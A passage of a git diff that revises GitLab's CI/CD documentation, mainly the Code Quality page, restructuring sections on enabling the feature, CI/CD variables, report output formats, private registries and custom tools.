of type `file`](../variables/index.md#cicd-variable-types). +similar to [variables of type `file`](../variables/index.md#use-file-type-cicd-variables). To overwrite the default behavior, set the `file` option explicitly: diff --git a/doc/ci/secure_files/index.md b/doc/ci/secure_files/index.md index e63b671ad2b..32bc4f2d758 100644 --- a/doc/ci/secure_files/index.md +++ b/doc/ci/secure_files/index.md @@ -7,24 +7,20 @@ type: reference # Project-level Secure Files **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78227) in GitLab 14.8. [Deployed behind the `ci_secure_files` flag](../../administration/feature_flags.md), disabled by default. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78227) in GitLab 14.8. [Deployed behind the `ci_secure_files` flag](../../administration/feature_flags.md), disabled by default. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/350748) in GitLab 15.7. -FLAG: -On self-managed GitLab, by default this feature is not available. To make it available, -ask an administrator to [enable the feature flag](../../administration/feature_flags.md) -named `ci_secure_files`. Limited to 100 secure files per project. Files must be smaller -than 5 MB. Project-level Secure Files is an experimental feature developed by [GitLab Incubation Engineering](https://about.gitlab.com/handbook/engineering/incubation/). - -Project-level Secure Files is still in development, but you can: +Project-level Secure Files is an experimental feature developed by [GitLab Incubation Engineering](https://about.gitlab.com/handbook/engineering/incubation/). +The feature is still in development, but you can: - [Request a feature](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/feedback/-/issues/new?issuable_template=feature_request). - [Report a bug](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/feedback/-/issues/new?issuable_template=report_bug). - [Share feedback](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/feedback/-/issues/new?issuable_template=general_feedback). -You can securely store files for use in CI/CD pipelines as "secure files". These files +You can securely store up to 100 files for use in CI/CD pipelines as "secure files". These files are stored securely outside of your project's repository, and are not version controlled. It is safe to store sensitive information in these files. Secure files support both -plain text and binary file types. +plain text and binary file types, but must be 5 MB or less. You can manage secure files in the project settings, or with the [secure files API](../../api/secure_files.md). diff --git a/doc/ci/services/index.md b/doc/ci/services/index.md index beebaa6d03f..bbd2f822481 100644 --- a/doc/ci/services/index.md +++ b/doc/ci/services/index.md @@ -221,7 +221,7 @@ For this solution to work, you must use You can also pass custom CI/CD [variables](../variables/index.md) to fine tune your Docker `images` and `services` directly in the `.gitlab-ci.yml` file. -For more information, read about [`.gitlab-ci.yml` defined variables](../variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). +For more information, read about [`.gitlab-ci.yml` defined variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file). ```yaml # The following variables are automatically passed down to the Postgres container diff --git a/doc/ci/ssh_keys/index.md b/doc/ci/ssh_keys/index.md index 972e9494126..ed16a19c7f5 100644 --- a/doc/ci/ssh_keys/index.md +++ b/doc/ci/ssh_keys/index.md @@ -38,7 +38,7 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/) In the following example, the `ssh-add -` command does not display the value of `$SSH_PRIVATE_KEY` in the job log, though it could be exposed if you enable -[debug logging](../variables/index.md#debug-logging). You might also want to +[debug logging](../variables/index.md#enable-debug-logging). You might also want to check the [visibility of your pipelines](../pipelines/settings.md#change-which-users-can-view-your-pipelines). ## SSH keys when using the Docker executor diff --git a/doc/ci/test_cases/index.md b/doc/ci/test_cases/index.md index 8d2788539d8..4088e5e82c6 100644 --- a/doc/ci/test_cases/index.md +++ b/doc/ci/test_cases/index.md @@ -25,9 +25,9 @@ Prerequisite: To create a test case in a GitLab project: 1. Go to **CI/CD > Test Cases**. -1. Select the **New test case** button. You are taken to the new test case form. Here you can enter +1. Select **New test case**. You are taken to the new test case form. Here you can enter the new case's title, [description](../../user/markdown.md), attach a file, and assign [labels](../../user/project/labels.md). -1. Select the **Submit test case** button. You are taken to view the new test case. +1. Select **Submit test case**. You are taken to view the new test case. ## View a test case @@ -73,7 +73,7 @@ Prerequisite: - You must have at least the Reporter role. -To archive a test case, on the test case's page, select the **Archive test case** button. +To archive a test case, on the test case's page, select **Archive test case**. To view archived test cases: diff --git a/doc/ci/testing/code_quality.md b/doc/ci/testing/code_quality.md index 8e1c3d72d3d..2a1dffe07fc 100644 --- a/doc/ci/testing/code_quality.md +++ b/doc/ci/testing/code_quality.md @@ -8,157 +8,120 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2. -To ensure your project's code stays simple, readable, and easy to contribute to, -you can use [GitLab CI/CD](../index.md) to analyze your source code quality. +Use Code Quality to analyze your source code's quality and complexity. This helps keep your +project's code simple, readable, and easier to maintain. Code Quality should supplement your +other review processes, not replace them. -For example, while you're implementing a feature, you can run Code Quality reports -to analyze how your improvements are impacting your code's quality. You can -use this information to ensure that your changes are improving performance rather -than degrading it. +Code Quality uses the open source Code Climate tool, and selected +[plugins](https://docs.codeclimate.com/docs/list-of-engines), to analyze your source code. +To confirm if your code's languages are covered, see the Code Climate list of +[Supported Languages for Maintainability](https://docs.codeclimate.com/docs/supported-languages-for-maintainability). +You can extend the code coverage either by using Code Climate +[Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) or a +[custom tool](#implement-a-custom-tool). -Code Quality: +Run Code Quality reports in your CI/CD pipeline to verify changes don't degrade your code's quality, +_before_ committing them to the default branch. -- Uses [plugins](https://docs.codeclimate.com/docs/list-of-engines) supported by Code Climate, which are - free and open source. Code Quality does not require a Code Climate - subscription. -- Runs in [pipelines](../pipelines/index.md) by using a Docker image built in the - [GitLab Code Quality](https://gitlab.com/gitlab-org/ci-cd/codequality) project. -- Uses [default Code Climate configurations](https://gitlab.com/gitlab-org/ci-cd/codequality/-/tree/master/codeclimate_defaults). -- Can make use of a [template](#example-configuration). -- Is available by using [Auto Code Quality](../../topics/autodevops/stages.md#auto-code-quality), provided by [Auto DevOps](../../topics/autodevops/index.md). -- Can be extended through [Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) or a [custom tool](#implementing-a-custom-tool). - -## Summary of features per tier +## Features per tier Different features are available in different [GitLab tiers](https://about.gitlab.com/pricing/), as shown in the following table: -| Capability | In Free | In Premium | In Ultimate | -|:----------------------------------------------------------------------|:--------------------|:--------------------|:-------------------| -| [Configure scanners](#configuring-jobs-using-variables) | **{check-circle}** | **{check-circle}** | **{check-circle}** | -| [Integrate custom scanners](#implementing-a-custom-tool) | **{check-circle}** | **{check-circle}** | **{check-circle}** | -| [Generate JSON or HTML report artifacts](#generate-an-html-report) | **{check-circle}** | **{check-circle}** | **{check-circle}** | -| [See findings in merge request widget](#code-quality-widget) | **{check-circle}** | **{check-circle}** | **{check-circle}** | -| [See reports in CI pipelines](#code-quality-reports) | **{dotted-circle}** | **{check-circle}** | **{check-circle}** | -| [See findings in merge request diff view](#code-quality-in-diff-view) | **{dotted-circle}** | **{dotted-circle}** | **{check-circle}** | +| Capability | In Free | In Premium | In Ultimate | +|:-----------------------------------------------------------------------|:--------------------|:--------------------|:-------------------| +| [Configure scanners](#customizing-scan-settings) | **{check-circle}** | **{check-circle}** | **{check-circle}** | +| [Integrate custom scanners](#implement-a-custom-tool) | **{check-circle}** | **{check-circle}** | **{check-circle}** | +| [See findings in merge request widget](#merge-request-widget) | **{check-circle}** | **{check-circle}** | **{check-circle}** | +| [Generate JSON or HTML report artifacts](#output) | **{check-circle}** | **{check-circle}** | **{check-circle}** | +| [See reports in CI pipelines](#pipeline-details-view) | **{dotted-circle}** | **{check-circle}** | **{check-circle}** | +| [See findings in merge request diff view](#merge-request-changes-view) | **{dotted-circle}** | **{dotted-circle}** | **{check-circle}** | -## Code Quality Widget +## View Code Quality results -> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2. +Code Quality results are shown in the: -Going a step further, GitLab can show the Code Quality report right -in the merge request widget area if a report from the target branch is available to compare to: +- Merge request widget +- Merge request changes view +- Pipeline details view - +### Merge request widget -Watch a quick walkthrough of Code Quality in action: - -<div class="video-fallback"> - See the video: <a href="https://www.youtube.com/watch?v=B32LxtJKo9M">Code Quality: Speed Run</a>. -</div> -<figure class="video-container"> - <iframe src="https://www.youtube.com/embed/B32LxtJKo9M" frameborder="0" allowfullscreen="true"> </iframe> -</figure> +> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2. -NOTE: -For one customer, the auditor found that having Code Quality, SAST, and Container Scanning all automated in GitLab CI/CD was almost better than a manual review! [Read more](https://about.gitlab.com/customers/bi_worldwide/). +Code Quality analysis results display in the merge request widget area if a report from the target +branch is available for comparison. -See also the Code Climate list of [Supported Languages for Maintainability](https://docs.codeclimate.com/docs/supported-languages-for-maintainability). + -## Code Quality in diff view **(ULTIMATE)** +### Merge request changes view **(ULTIMATE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267612) in GitLab 13.11, disabled by default behind the `codequality_mr_diff` [feature flag](../../administration/feature_flags.md). > - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/284140) in GitLab 13.12. > - [Disabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/2526) in GitLab 14.0 due to [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/334116). > - [Inline annotation added](https://gitlab.com/gitlab-org/gitlab/-/issues/2526) and [feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/284140) in GitLab 14.1. -> - [Updated](https://gitlab.com/groups/gitlab-org/-/epics/8071) to handle multiple findings better in GitLab 15.7, disabled by default behind the `refactor_code_quality_inline_findings` [feature flag](../../administration/feature_flags.md). - -Changes to files in merge requests can cause Code Quality to fall if merged. In these cases, -the merge request's diff view displays an indicator next to lines with new Code Quality violations. For example: - - - -## Example configuration -This example shows how to run Code Quality on your code by using GitLab CI/CD and Docker. +Code Quality results display in the merge request **Changes** view. Lines containing Code Quality +issues are marked by an indicator beside the gutter. Hover over the marker for details of the issue. -- Using shared runners, the job should be configured For the [Docker-in-Docker workflow](../docker/using_docker_build.md#use-docker-in-docker). -- Using private runners, there is an [alternative configuration](#set-up-a-private-runner-for-code-quality-without-docker-in-docker) recommended for running Code Quality analysis more efficiently. + -In either configuration, the runner must have enough disk space to handle generated Code Quality files. For example on the [GitLab project](https://gitlab.com/gitlab-org/gitlab) the files are approximately 7 GB. +### Pipeline details view **(PREMIUM)** -Once you set up GitLab Runner, include the [Code Quality template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml) in your CI configuration: +The full list of Code Quality violations generated by a pipeline is shown in the **Code Quality** +tab of the pipeline's details page. -```yaml -include: - - template: Code-Quality.gitlab-ci.yml -``` - -The above example creates a `code_quality` job in your CI/CD pipeline which -scans your source code for code quality issues. The report is saved as a -[Code Quality report artifact](../yaml/artifacts_reports.md#artifactsreportscodequality) -that you can later download and analyze. - -It's also possible to override the URL to the Code Quality image by -setting the `CODE_QUALITY_IMAGE` CI/CD variable. This is particularly useful if you want -to lock in a specific version of Code Quality, or use a fork of it: - -```yaml -include: - - template: Code-Quality.gitlab-ci.yml + -code_quality: - variables: - CODE_QUALITY_IMAGE: "registry.example.com/codequality-fork:latest" -``` +## Enable Code Quality -In [GitLab 13.4 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/11100), you can override the [Code Quality environment variables](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables): +Prerequisites: -```yaml -variables: - TIMEOUT_SECONDS: 1 +- GitLab CI/CD configuration (`.gitlab-ci.yml`) must include the `test` stage. +- If you're using shared runners, the Code Quality job must be configured for the + [Docker-in-Docker workflow](../docker/using_docker_build.md#use-docker-in-docker). +- If you're using private runners, you should use an + [alternative configuration](#improve-code-quality-performance-with-private-runners) + recommended for running Code Quality analysis more efficiently. +- The runner must have enough disk space to store the generated Code Quality files. For example, on + the [GitLab project](https://gitlab.com/gitlab-org/gitlab) the files are approximately 7 GB. -include: - - template: Code-Quality.gitlab-ci.yml -``` +To enable Code Quality, either: -By default, report artifacts are not downloadable. If you need them downloadable on the -job details page, you can add `gl-code-quality-report.json` to the artifact paths like so: +- Enable [Auto DevOps](../../topics/autodevops/index.md), which includes + [Auto Code Quality](../../topics/autodevops/stages.md#auto-secret-detection). -```yaml -include: - - template: Code-Quality.gitlab-ci.yml +- Include the Code Quality template in your + `.gitlab-ci.yml` file. -code_quality: - artifacts: - paths: [gl-code-quality-report.json] -``` - -The included `code_quality` job is running in the `test` stage, so it needs to be included in your CI configuration, like so: + Example: -```yaml -stages: - - test -``` + ```yaml + include: + - template: Code-Quality.gitlab-ci.yml + ``` -NOTE: -This information is automatically extracted and shown right in the merge request widget. + Code Quality now runs in pipelines. WARNING: -On self-managed instances, if a malicious actor compromises the Code Quality job -definition they could execute privileged Docker commands on the runner -host. Having proper access control policies mitigates this attack vector by -allowing access only to trusted actors. +On self-managed instances, if a malicious actor compromises the Code Quality job definition they +could execute privileged Docker commands on the runner host. Having proper access control policies +mitigates this attack vector by allowing access only to trusted actors. + +### Improve Code Quality performance with private runners -### Set up a private runner for code quality without Docker-in-Docker +If you have private runners, you should use this configuration for improved performance of Code +Quality because: -It's possible to configure your own runners and avoid Docker-in-Docker. You can use a -configuration that may greatly speed up job execution without requiring your runners -to operate in privileged mode. +- Privileged mode is not used. +- Docker-in-Docker is not used. +- Docker images, including all CodeClimate images, are cached, and not re-fetched for subsequent jobs. This alternative configuration uses socket binding to share the Runner's Docker daemon -with the job environment. Be aware that this configuration [has significant considerations](../docker/using_docker_build.md#use-docker-socket-binding) -to be consider, but may be preferable depending on your use case. +with the job environment. Before implementing this configuration, consider its +[limitations](../docker/using_docker_build.md#use-docker-socket-binding). + +To use private runners: 1. Register a new runner: @@ -223,73 +186,136 @@ to be consider, but may be preferable depending on your use case. - cq-sans-dind # Set this job to only run on our new specialized runner ``` -The end result is that: +Code Quality now runs in standard Docker mode. -- Privileged mode is not used. -- Docker-in-Docker is not used. -- Docker images, including all CodeClimate images, are cached, and not re-fetched for subsequent jobs. +## Disable Code Quality -With this configuration, the run time for a second pipeline is much shorter. For example -this [small change](https://gitlab.com/drew/test-code-quality-template/-/merge_requests/4/diffs?commit_id=1e705607aef7236c1b20bb6f637965f3f3e53a46) -to an [open merge request](https://gitlab.com/drew/test-code-quality-template/-/merge_requests/4/pipelines) -running Code Quality analysis ran significantly faster the second time: +The `code_quality` job doesn't run if the `$CODE_QUALITY_DISABLED` CI/CD variable +is present. Refer to the CI/CD variables [documentation](../variables/index.md) +to learn more about how to define one. - +To disable Code Quality, create a custom CI/CD variable named `CODE_QUALITY_DISABLED`, for either: -This configuration is not possible on `gitlab.com` shared runners. Shared runners -are configured with `privileged=true`, and they do not expose `docker.sock` into -the job container. As a result, socket binding cannot be used to make `docker` available -in the context of the job script. +- [The whole project](../variables/index.md#for-a-project). +- [A single pipeline](../variables/index.md#override-a-variable-when-running-a-pipeline-manually). -[Docker-in-Docker](../docker/using_docker_build.md#use-docker-in-docker) -was chosen as an operational decision by the runner team, instead of exposing `docker.sock`. +## Customizing scan settings -### Disabling the code quality job +The Code Quality scan settings can be changed using [CI/CD variables](#available-cicd-variables) +in `.gitlab-ci.yml`. -The `code_quality` job doesn't run if the `$CODE_QUALITY_DISABLED` CI/CD variable -is present. Please refer to the CI/CD variables [documentation](../variables/index.md) -to learn more about how to define one. +To configure the Code Quality job: + +1. Declare a job with the same name as the Code Quality job, after the template's inclusion. +1. Specify additional keys in the job's stanza. -To disable the `code_quality` job, add `CODE_QUALITY_DISABLED` as a custom CI/CD variable. -This can be done: +For an example, see [Download output in JSON format](#download-output-in-json-format). -- For [the whole project](../variables/index.md#custom-cicd-variables). -- For a single pipeline run: +### Available CI/CD variables - 1. Go to **CI/CD > Pipelines** - 1. Select **Run pipeline** - 1. Add `CODE_QUALITY_DISABLED` as the variable key, with any value. +> In [GitLab 13.4 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/11100), the option to override the Code Quality environment variables was added. -### Using with merge request pipelines +Code Quality can be customized by defining available CI/CD variables: -The configuration provided by the Code Quality template does not let the `code_quality` job -run on [merge request pipelines](../pipelines/merge_request_pipelines.md). +| CI/CD variable | Description | +| --------------------------- | ----------- | +| `SOURCE_CODE` | Path to the source code to scan. | +| `TIMEOUT_SECONDS` | Custom timeout for the `codeclimate analyze` command. | +| `CODECLIMATE_DEBUG` | Set to enable [Code Climate debug mode](https://github.com/codeclimate/codeclimate#environment-variables) | +| `CODECLIMATE_DEV` | Set to enable `--dev` mode which lets you run engines not known to the CLI. | +| `REPORT_STDOUT` | Set to print the report to `STDOUT` instead of generating the usual report file. | +| `REPORT_FORMAT` | Set to control the format of the generated report file. One of: `json\|html`. | +| `ENGINE_MEMORY_LIMIT_BYTES` | Set the memory limit for engines, default is 1,024,000,000 bytes. | +| `CODE_QUALITY_DISABLED` | Prevents the Code Quality job from running. | +| `CODECLIMATE_PREFIX` | Set a prefix to use with all `docker pull` commands in CodeClimate engines. Useful for [offline scanning](https://github.com/codeclimate/codeclimate/pull/948). | -If merge request pipelines is enabled, the `code_quality:rules` must be redefined. +## Output -The template has these [`rules`](../yaml/index.md#rules) for the `code quality` job: +Code Quality creates a file named `gl-code-quality-report.json`. The content of this file is +processed internally and the results shown in the UI. To see the raw results, you can +configure the Code Quality job to allow download of this file. Format options are JSON format, HTML +format, or both. Use the HTML format to view the report in a more human-readable +format. For example, you could publish the HTML format file on GitLab Pages for even easier +reviewing. + +### Download output in JSON format + +To be able to download the Code Quality report in JSON format, declare the +`gl-code-quality-report.json` file as an artifact of the `code_quality` job: ```yaml +include: + - template: Code-Quality.gitlab-ci.yml + code_quality: - rules: - - if: $CODE_QUALITY_DISABLED - when: never - - if: $CI_COMMIT_TAG || $CI_COMMIT_BRANCH + artifacts: + paths: [gl-code-quality-report.json] ``` -If you are using merge request pipelines, your `rules` (or [`workflow: rules`](../yaml/index.md#workflow)) -might look like this example: +The full JSON file is available as a +[downloadable artifact](../pipelines/job_artifacts.md#download-job-artifacts) of the `code_quality` +job. + +### Download output in JSON and HTML format + +> HTML report format [introduced](https://gitlab.com/gitlab-org/ci-cd/codequality/-/issues/10) in GitLab 13.6. + +NOTE: +To create the HTML format file, the Code Quality job must be run twice, once for each format. +In this configuration, the JSON format file is created but it is only processed internally. + +To be able to download the Code Quality report in both JSON and HTML format, add another job to your +template by using `extends: code_quality`: ```yaml -job1: - rules: - - if: $CI_PIPELINE_SOURCE == "merge_request_event" # Run job1 in merge request pipelines - - if: $CI_COMMIT_BRANCH == "main" # Run job1 in pipelines on the main branch (but not in other branch pipelines) - - if: $CI_COMMIT_TAG # Run job1 in pipelines for tags +include: + - template: Code-Quality.gitlab-ci.yml + +code_quality_html: + extends: code_quality + variables: + REPORT_FORMAT: html + artifacts: + paths: [gl-code-quality-report.html] ``` -To make these work together, you need to overwrite the code quality `rules` -so that they match your current `rules`. From the example above, it could look like: +Both the JSON and HTML files are available as +[downloadable artifacts](../pipelines/job_artifacts.md#download-job-artifacts) of the `code_quality` +job. + +### Download output in only HTML format + +To download the Code Quality report in _only_ an HTML format file, set `REPORT_FORMAT` to `html` in +the existing job. + +NOTE: +This does not create a JSON format file, so Code Quality results are not shown in the +merge request widget, pipeline report, or changes view. + +```yaml +include: + - template: Code-Quality.gitlab-ci.yml + +code_quality: + variables: + REPORT_FORMAT: html + artifacts: + paths: [gl-code-quality-report.html] +``` + +The HTML file is available as a +[downloadable artifact](../pipelines/job_artifacts.md#download-job-artifacts) of the `code_quality` +job. + +## Use Code Quality with merge request pipelines + +The default Code Quality configuration does not allow the `code_quality` job to run on +[merge request pipelines](../pipelines/merge_request_pipelines.md). + +To enable Code Quality to run on merge request pipelines, overwrite the code quality `rules`, +or [`workflow: rules`](../yaml/index.md#workflow), so that they match your current `rules`. + +For example: ```yaml include: @@ -304,14 +330,13 @@ code_quality: - if: $CI_COMMIT_TAG # Run code quality job in pipelines for tags ``` -### Configure Code Quality to use a private container image registry +## Use a private container image registry -> [Introduced](https://gitlab.com/gitlab-org/ci-cd/codequality/-/merge_requests/30) in 13.7. +> [Introduced](https://gitlab.com/gitlab-org/ci-cd/codequality/-/merge_requests/30) in GitLab 13.7. -To reduce network time and external dependency, you can use your own -container image registry to host the Code Quality Docker images. Because of -the nested architecture of container execution, the registry prefix must -be specifically configured to be passed down into CodeClimate's subsequent +Using a private container image registry can reduce the time taken to download images, and also +reduce external dependencies. Because of the nested architecture of container execution, the +registry prefix must be specifically configured to be passed down into CodeClimate's subsequent `docker pull` commands for individual engines. The following variables can address all of the required image pulls: @@ -320,7 +345,8 @@ The following variables can address all of the required image pulls: accessible from your job environment. GitLab Container Registry can be used here to host your own copy. - `CODECLIMATE_PREFIX`: The domain of your intended container image registry. This - is a configuration option supported by [CodeClimate CLI](https://github.com/codeclimate/codeclimate/pull/948). You must: + is a configuration option supported by [CodeClimate CLI](https://github.com/codeclimate/codeclimate/pull/948). + You must: - Include a trailing slash (`/`). - Not include a protocol prefix, such as `https://`. - `CODECLIMATE_REGISTRY_USERNAME`: An optional variable to specify the username for the registry domain parsed from `CODECLIMATE_PREFIX`. @@ -328,7 +354,7 @@ The following variables can address all of the required image pulls: ```yaml include: - - template: Jobs/Code-Quality.gitlab-ci.yml + - template: Code-Quality.gitlab-ci.yml code_quality: variables: @@ -336,13 +362,13 @@ code_quality: CODECLIMATE_PREFIX: "my-private-registry.local:12345/" ``` -This example is specific to GitLab Code Quality. For more general -instructions on how to configure DinD with a registry mirror, see the -relevant [documentation](../docker/using_docker_build.md#enable-registry-mirror-for-dockerdind-service). +This example is specific to GitLab Code Quality. For more general instructions on how to configure +DinD with a registry mirror, see +[Enable registry mirror for Docker-in-Docker service](../docker/using_docker_build.md#enable-registry-mirror-for-dockerdind-service). -#### List of images to be stored in the private container registry +### Required images -The following images are needed for the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template): +The following images are required for the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template): - `codeclimate/codeclimate-structure:latest` - `codeclimate/codeclimate-csslint:latest` @@ -354,30 +380,22 @@ The following images are needed for the [default `.codeclimate.yml`](https://git If you are using a custom `.codeclimate.yml` configuration file, you must add the specified plugins in your private container registry. -#### Configure Code Quality to use the Dependency Proxy +## Use DockerHub with authentication -Prerequisite: +You can use DockerHub as an alternate source of the Code Quality images. -- The project must be in a group where the [Dependency Proxy](../../user/packages/dependency_proxy/index.md) is enabled. +Prerequisites: -Here is an example of how to configure Code Quality to use the Dependency Proxy: +- Add the username and password as [protected CI/CD variables](../variables/index.md#for-a-project) + in the project. -```yaml -include: - - template: Jobs/Code-Quality.gitlab-ci.yml +To use DockerHub, configure the following variables in the `.gitlab-ci.yml` file: -code_quality: - variables: - CODE_QUALITY_IMAGE: "$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/codequality:0.85.24" - ## You must add a trailing slash to `$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`. - CODECLIMATE_PREFIX: $CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/ - CODECLIMATE_REGISTRY_USERNAME: $CI_DEPENDENCY_PROXY_USER - CODECLIMATE_REGISTRY_PASSWORD: $CI_DEPENDENCY_PROXY_PASSWORD -``` +- `CODECLIMATE_PREFIX` +- `CODECLIMATE_REGISTRY_USERNAME` +- `CODECLIMATE_REGISTRY_PASSWORD` -#### Configure Code Quality to use Dockerhub with authentication - -Here is an example of how to configure Code Quality to use Dockerhub with authentication: +Example: ```yaml include: @@ -390,29 +408,43 @@ code_quality: CODECLIMATE_REGISTRY_PASSWORD: $DOCKERHUB_PASSWORD ``` -You should add the username and password as [protected CI/CD variables](../variables/index.md#add-a-cicd-variable-to-a-project) -in the project. +## Use the Dependency Proxy -## Configuring jobs using variables +You can use a Dependency Proxy to reduce the time taken to download dependencies. -The Code Quality job supports environment variables that users can set to -configure job execution at runtime. +Prerequisite: -For a list of available environment variables, see -[Environment variables](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables). +- [Dependency Proxy](../../user/packages/dependency_proxy/index.md) enabled in the project's + group. -## Implementing a custom tool +To reference the Dependency Proxy, configure the following variables in the `.gitlab-ci.yml` file: -It's possible to have a custom tool provide Code Quality reports in GitLab. To -do this: +- `CODE_QUALITY_IMAGE` +- `CODECLIMATE_PREFIX` +- `CODECLIMATE_REGISTRY_USERNAME` +- `CODECLIMATE_REGISTRY_PASSWORD` -1. Define a job in your `.gitlab-ci.yml` file that generates the - [Code Quality report artifact](../yaml/artifacts_reports.md#artifactsreportscodequality). -1. Configure your tool to generate the Code Quality report artifact as a JSON - file that implements a subset of the [Code Climate spec](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types). +For example: + +```yaml +include: + - template: Code-Quality.gitlab-ci.yml + +code_quality: + variables: + CODE_QUALITY_IMAGE: "$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/codequality:0.85.24" + ## You must add a trailing slash to `$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`. + CODECLIMATE_PREFIX: $CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/ + CODECLIMATE_REGISTRY_USERNAME: $CI_DEPENDENCY_PROXY_USER + CODECLIMATE_REGISTRY_PASSWORD: $CI_DEPENDENCY_PROXY_PASSWORD +``` + +## Implement a custom tool -The Code Quality report artifact JSON file must contain an array of objects -with the following properties: +You can integrate a custom tool into GitLab to provide Code Quality reports. + +The Code Quality report artifact JSON file must contain an array of objects with the following +properties: | Name | Description | | ---------------------- | ----------------------------------------------------------------------------------------- | @@ -422,6 +454,18 @@ with the following properties: | `location.path` | The relative path to the file containing the code quality violation. | | `location.lines.begin` or `location.positions.begin.line` | The line on which the code quality violation occurred. | +NOTE: +Although the Code Climate specification supports more properties, those are ignored by GitLab. +The GitLab parser does not allow a [byte order mark](https://en.wikipedia.org/wiki/Byte_order_mark) +at the beginning of the file. + +To implement a custom Code Quality tool: + +1. Define a job in your `.gitlab-ci.yml` file that generates the + [Code Quality report artifact](../yaml/artifacts_reports.md#artifactsreportscodequality). +1. Configure the tool to generate the Code Quality report artifact as a JSON + file that implements a subset of the [Code Climate spec](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types). + Example: ```json @@ -440,163 +484,33 @@ Example: ] ``` -NOTE: -Although the Code Climate spec supports more properties, those are ignored by -GitLab. -The GitLab parser does not allow a [byte order mark](https://en.wikipedia.org/wiki/Byte_order_mark) -at the beginning of the file. +## Using Analysis Plugins -## Code Quality reports **(PREMIUM)** +Code Quality functionality can be extended by using Code Climate +[Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines). -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21527) in GitLab 12.9. - - +For example, to use the [SonarJava analyzer](https://docs.codeclimate.com/docs/sonar-java): -After the Code Quality job completes: +1. Add a file named `.codeclimate.yml` to the root of your repository +1. Add to the `.codeclimate.yml` the [enablement code](https://docs.codeclimate.com/docs/sonar-java#enable-the-plugin) + for the plugin to the root of your repository: -- Potential changes to code quality are shown directly in the merge request. - The Code Quality widget in the merge request compares the reports from the base and head of the branch, - then lists any violations that are resolved or created when the branch is merged. -- The full JSON report is available as a - [downloadable artifact](../pipelines/job_artifacts.md#download-job-artifacts) - for the `code_quality` job. -- The full list of code quality violations generated by a pipeline is shown in the - Code Quality tab of the Pipeline Details page. + ```yaml + version: "2" + plugins: + sonar-java: + enabled: true + ``` -## Generate an HTML report - -In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/ci-cd/codequality/-/issues/10), -it is possible to generate an HTML report file by setting the `REPORT_FORMAT` -CI/CD variable to `html`. This is useful if you just want to view the report in a more -human-readable format or to publish this artifact on GitLab Pages for even -easier reviewing. - -To generate both JSON and HTML report files, add another job to your template by using `extends: code_quality`: - -```yaml -include: - - template: Code-Quality.gitlab-ci.yml - -code_quality_html: - extends: code_quality - variables: - REPORT_FORMAT: html - artifacts: - paths: [gl-code-quality-report.html] -``` - -NOTE: -Adding a job means your code is scanned twice: once to generate a JSON report and once to generate an HTML report. - -You can also generate _only_ an HTML report instead of the standard JSON report. To do so, set `REPORT_FORMAT` to `html` in the existing job: - -```yaml -include: - - template: Code-Quality.gitlab-ci.yml - -code_quality: - variables: - REPORT_FORMAT: html - artifacts: - paths: [gl-code-quality-report.html] -``` - -WARNING: -If you only generate an HTML report, you can't see your results in the [merge request widget](#code-quality-widget), [pipeline report](#code-quality-reports), or [diff view](#code-quality-in-diff-view). -These features require a JSON report. - -## Extending functionality - -### Using Analysis Plugins - -Should there be a need to extend the default functionality provided by Code Quality, as stated in [Code Quality](#code-quality), [Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) are available. - -For example, to use the [SonarJava analyzer](https://docs.codeclimate.com/docs/sonar-java), -add a file named `.codeclimate.yml` containing the [enablement code](https://docs.codeclimate.com/docs/sonar-java#enable-the-plugin) -for the plugin to the root of your repository: - -```yaml -version: "2" -plugins: - sonar-java: - enabled: true -``` - -This adds SonarJava to the `plugins:` section of the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template) +This adds SonarJava to the `plugins:` section of the +[default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template) included in your project. -Changes to the `plugins:` section do not affect the `exclude_patterns` section of the -default `.codeclimate.yml`. See the Code Climate documentation for +Changes to the `plugins:` section do not 